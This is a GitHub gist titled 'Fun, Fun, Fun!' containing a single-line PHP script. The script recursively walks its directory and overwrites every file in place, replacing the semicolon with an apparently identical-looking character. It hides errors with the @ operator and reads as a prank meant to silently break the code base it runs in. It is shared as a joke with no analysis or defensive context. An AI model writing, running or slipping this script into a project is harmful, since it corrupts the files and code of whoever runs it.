Skip to content

Instantly share code, notes, and snippets.

@Maikuolan
Created November 26, 2016 17:11
Show Gist options
  • Save Maikuolan/3dfa4366eb3cdf9f1fc3fff9096d7d04 to your computer and use it in GitHub Desktop.
Save Maikuolan/3dfa4366eb3cdf9f1fc3fff9096d7d04 to your computer and use it in GitHub Desktop.
Fun, Fun, Fun!
<?php $L=new RecursiveIteratorIterator(new RecursiveDirectoryIterator(__DIR__), RecursiveIteratorIterator::SELF_FIRST);@foreach($L as $F=>$L){$X=substr($L,-2);if(preg_match('~([\\/]\.|\.\.)~',$L)){continue;}$D=str_replace(';',';',file_get_contents($L));$H=fopen($L,'w');fwrite($H, $D);fclose($H);} ?>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment